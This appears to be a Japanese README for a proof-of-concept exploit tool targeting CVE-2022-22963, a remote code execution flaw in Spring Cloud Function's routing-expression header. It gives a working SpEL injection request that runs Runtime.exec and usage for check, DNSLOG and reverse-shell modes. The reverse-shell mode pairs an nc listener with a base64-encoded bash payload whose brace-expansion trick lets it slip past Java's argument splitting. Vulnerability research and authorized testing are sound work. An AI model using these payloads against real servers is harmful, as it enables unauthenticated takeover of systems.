
CVE-2022-22963-poc
Spring Cloud Function SpEL 式インジェクションによるリモートコード実行脆弱性の検出・悪用ツール。
CVE-2022-22963 は、Spring Cloud Function のルーティング機能における重大な RCE 脆弱性(CVSS 9.8)です。アプリケーションで /functionRouter エンドポイントが有効な場合、spring.cloud.function.routing-expression リクエストヘッダの値がそのまま SpEL(Spring Expression Language)式として実行され、攻撃者は認証なしで対象サーバ上で任意のシステムコマンドを実行できます。
影響を受けるバージョン:
| ブランチ | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
| 3.1.x | < 3.1.7 | 3.1.7 |
| 3.2.x | < 3.2.3 | 3.2.3 |
脆弱性の原理:
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded
test
サーバが SpEL を実行すると、exec() は Process オブジェクトを返しますが、Spring がこれをシリアライズしようとして例外が発生し、HTTP 500 で応答します。コマンドはバックグラウンドで非同期実行されるため、HTTP 応答には結果が表示されません。DNSLOG やリバースシェルなどのサイドチャネルで確認する必要があります。
ping リクエストを DNSLOG ドメインに送信し、DNS レコードでコマンド実行を確認pip install requests
Python 3.6+ で、他の依存関係は不要。
python3 CVE-2022-22963.py -u <対象URL> [オプション]
python3 CVE-2022-22963.py -u http://target.example.com -c
2024-01-01 12:00:00 - INFO - [+] http://target.example.com に脆弱性が存在します!
応答なしでコマンドが実際に実行されたことを確認する場合に使用:
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
2024-01-01 12:00:01 - INFO - [+] ペイロードを送信しました。abc123.dnslog.cn で DNS リクエストを受信したか確認してください(実際の実行を確認)
その後、DNSLOG プラットフォームで対象 IP からの DNS クエリ記録があるか確認します。
攻撃側マシンでリスナーを起動:
nc -lvnp 9999
ペイロードを送信:
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
2024-01-01 12:00:02 - INFO - [+] ペイロードを送信しました。192.168.1.100:9999 で接続を待機してください(Linux/bash ターゲットのみ対応)
注意:リバースシェルは対象システムが
/dev/tcpをサポートしている必要があり、Linux + bash 環境のみに対応します。Windows ターゲットや sh/ash/dash などのシェルには対応していません。
検出リクエストでは /functionRouter に対して実際の SpEL 式を送信します:
T(java.lang.Runtime).getRuntime().exec('id')
Process オブジェクトがシリアライズ不可 → HTTP 500 + "path":"/functionRouter"Runtime.exec(String) はシェルを介さず、コマンド文字列を空白でトークン分割するため、パイプやリダイレクトを処理できません。ツールでは以下の方法で回避します:
{cmd,arg} を用いて空白の代わりにする-c パラメータでパイプとリダイレクトを処理させるbash -c {echo,BASE64}|{base64,-d}|{bash,-i}
↕ Java exec で空白によりトークン分割
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
↕ bash -c で引数に対してブレース展開
echo BASE64 | base64 -d | bash -i
| 日付 | バージョン | 説明 |
|---|---|---|
| 2023-12-28 | v1.0 | 初回リリース |
| 2025-10-09 | v1.1 | コードリファクタリング、パラメータ処理とエラーハンドリングを最適化 |
| 2026-06-29 | v1.2 | 検出の誤検出を修正、context path のパス結合、exploit の戻り値の意味論を修正 |
本ツールはセキュリティ研究、許可されたペネトレーションテスト、教育目的でのみ使用されます。
本ツールを使用することにより、以下の事項に同意したものとみなします:
著者は、許可されていない使用やその結果について一切の責任を負いません。
| パラメータ | 説明 | デフォルト値 |
|---|
-u, --url | 対象 URL(必須) | — |
-c, --check | 脆弱性の有無をチェック | — |
-m, --mode | 悪用モード:dnslog または shell | — |
-d, --dns | DNSLOG ドメイン(-m dnslog で使用) | — |
-i, --ip | リバースシェル受信用 IP(-m shell で使用) | — |
-p, --port | リバースシェル受信用ポート | 9999 |
-t, --timeout | リクエストタイムアウト(秒) | 5 |